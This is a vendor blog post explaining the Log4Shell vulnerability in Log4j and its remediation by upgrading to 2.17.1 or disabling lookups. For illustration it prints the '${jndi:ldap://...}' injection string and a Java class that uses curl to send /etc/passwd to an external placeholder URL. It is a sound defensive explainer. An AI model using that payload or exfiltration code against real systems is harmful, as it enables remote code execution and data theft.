Log4j vulnerability explained: Prevent Log4Shell RCE by updating to version 2.17.1

Written by:
Brian Vermeer
Brian Vermeer

December 10, 2021

0 mins read

Editor’s note (28 Dec 2021 at 7:35 p.m. GMT):

The Log4j team released a new security update that found 2.17.0 to be vulnerable to remote code execution, identified by CVE-2021-44832. We recommend upgrading to the latest version, which at this time is 2.17.1. Please note that the Log4Shell situation is rapidly changing and we are updating our blogs as new information becomes available.

Today (Dec.10, 2021), a new, critical Log4j vulnerability was disclosed: Log4Shell. This vulnerability within the popular Java logging framework was published as CVE-2021-44228, categorized as Critical with a CVSS score of 10 (the highest score possible). The vulnerability was discovered by Chen Zhaojun from Alibaba's Cloud Security team.

Almost all versions of Log4j2 are affected, and you should update to version 2.17.1 to remediate. For full remediation advice, read our Log4Shell Remediation Cheat Sheet.

Many application frameworks in the Java ecosystem use this logging framework by default. For instance, Apache Struts 2, Apache Solr, and Apache Druid are all affected. Aside from those, Apache Log4j is also used in many Spring and Spring Boot applications, so we suggest you check your applications and update them to the latest version.

How bad is Log4Shell?

The simple answer is “very bad”! The Log4Shell vulnerability was first spotted in Minecraft. Microsoft rolled out an emergency patch to fix this problem quickly. TechCrunch reports that Apple, Amazon, Twitter, and Cloudflare are vulnerable to the Log4Shell attack. Per TechCrunch, "The Computer Emergency Response Team (CERT) for New Zealand, Deutsche Telekom’s CERT, and the Greynoise web monitoring service have all warned that attackers are actively looking for servers vulnerable to Log4Shell attacks. According to the latter, around 100 distinct hosts are scanning the internet for ways to exploit Log4j vulnerability."

Explaining the Log4Shell vulnerability

When using a vulnerable version of Log4j, any incoming data that gets logged can lead to an RCE (remote code execution). When using JNDI (Java Naming and Directory Interface) to connect for instance to an LDAP URL and log it (shown below), it is possible to return a malicious payload with a code injection.

In the code snippet below, check out the argument that was given by a user. If the argument doesn't comply, we log an error. But if the user input is "${jndi:ldap://someurl/Evil}” we triggered the Log4Shell vulnerability because we know it will be logged as an error.

1try {
2   checkout(arg);
3} catch (Exception e) {
4   logger.error("Failed to checkout with arg " + arg)

If you know that input is getting logged with Log4j, you can set up an LDAP server and return a compiled class file that executes some code. An example of such a class can be seen below. This object sends my /etc/passwđ file to an external URL using curl. Note that this user input can be hidden in for instance the header of an HTTP call. When the logger evaluates the string, the call to the malicious LDAP server will take place.

1public  class RefactoredName implements  ObjectFactory  {
2   @Override
3   public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment)  throws Exception {
4       Runtime.getRuntime().exec("curl -F 'file=@/etc/passw‍đ' http://someurl/upload");
5       return  null;
6   }

According to this article by Luncasec about this issue, this impacts all Java versions. JDK version greater than 6u211, 7u201, 8u191, and 11.0.1 did not seem to be affected by this LDAP attack, because these versions set com.sun.jndi.ldap.object.trustURLCodebase to false by default. However, if the class, returned by the LDAP server, is already available on the classpath, it will be executed even in newer versions of the JDK and even if com.sun.jndi.ldap.object.trustURLCodebase is set to false.

This means that when there is a deserialization gadget chain available in the application, it is possible to activate this deserialization and trigger the remote code execution. A famous example is the Apache Commons Collections 3.1 library that includes a gadget chain, but can also be a combination of libraries and classes in your applications that can form such a chain. Read our Serialization and deserialization in Java: explaining the Java deserialize vulnerability blog post for more information about deserialization issues. Bottom line, all versions of Java are affected by this attack!

Remediating the Log4Shell vulnerability

The easiest way to remediate this is to update to Log4j version 2.17.1 or later, as this behavior is now disabled by default. In previous releases (>2.10) this behavior can be mitigated by setting the system property log4j2.formatMsgNoLookups to true by adding the following Java parameter: -Dlog4j2.formatMsgNoLookups=true

Alternatively, you can mitigate this vulnerability by removing the JndiLookup class from the classpath.

Check out our guide to learn how to find and fix Log4Shell vulnerabilities with Snyk.

Scanning and updating to prevent vulnerabilities

This Log4j vulnerability once again shows that scanning your applications for vulnerabilities is important, and something that you should do often to keep your software supply chain secure. In addition, it is important to update your Java distribution to the most recent release to benefit from the newer security updates.

Scanning your application with Snyk Open Source will show you vulnerabilities in your open source libraries, including this issue with Log4j. The example below shows the output from my IntelliJ IDEA plugin mentioning this issue and the remediation advice.


Is Log4j vulnerable?

Yes. All versions of Log4j starting at 2.0-beta9 up to 2.14.1 are impacted by the Log4Shell vulnerability. It’s a critical vulnerability that requires urgent action. This vulnerability can lead to remote code execution (RCE) attacks.

What uses Log4j?

Log4j is extensively used across vendors, open source projects, frameworks and top-level foundation projects. In addition to the millions of Java applications using Log4j, many of the Apache Software Foundation’s own projects are making use of Log4j themselves, such as Apache Solr, Apache Struts2, Apache Kafka, Apache Druid, Apache Flink, Apache Swift and others.

How to check for Log4j?

All versions starting at 2.0-beta9 up to 2.14.1 are impacted by the new vulnerability, Snyk can show if you’re using the vulnerable versions of the package and whether they’re being pulled into your dependency graph as a direct or transitive dependency. Snyk also helps you automatically remediate Log4Shell across your entire SDLC.

How to fix the Log4j vulnerability?

The easiest way to remediate this is to update to Log4j version 2.17.1 or later, as this behaviour is now disabled by default. Version 2.17.1 will also fix CVE-2021-45046. This Log4j vulnerability once again shows that scanning your applications for vulnerabilities is important, and something that you should do often to keep your software supply chain secure. For more remediation advice, see our Log4Shell remediation cheat sheet.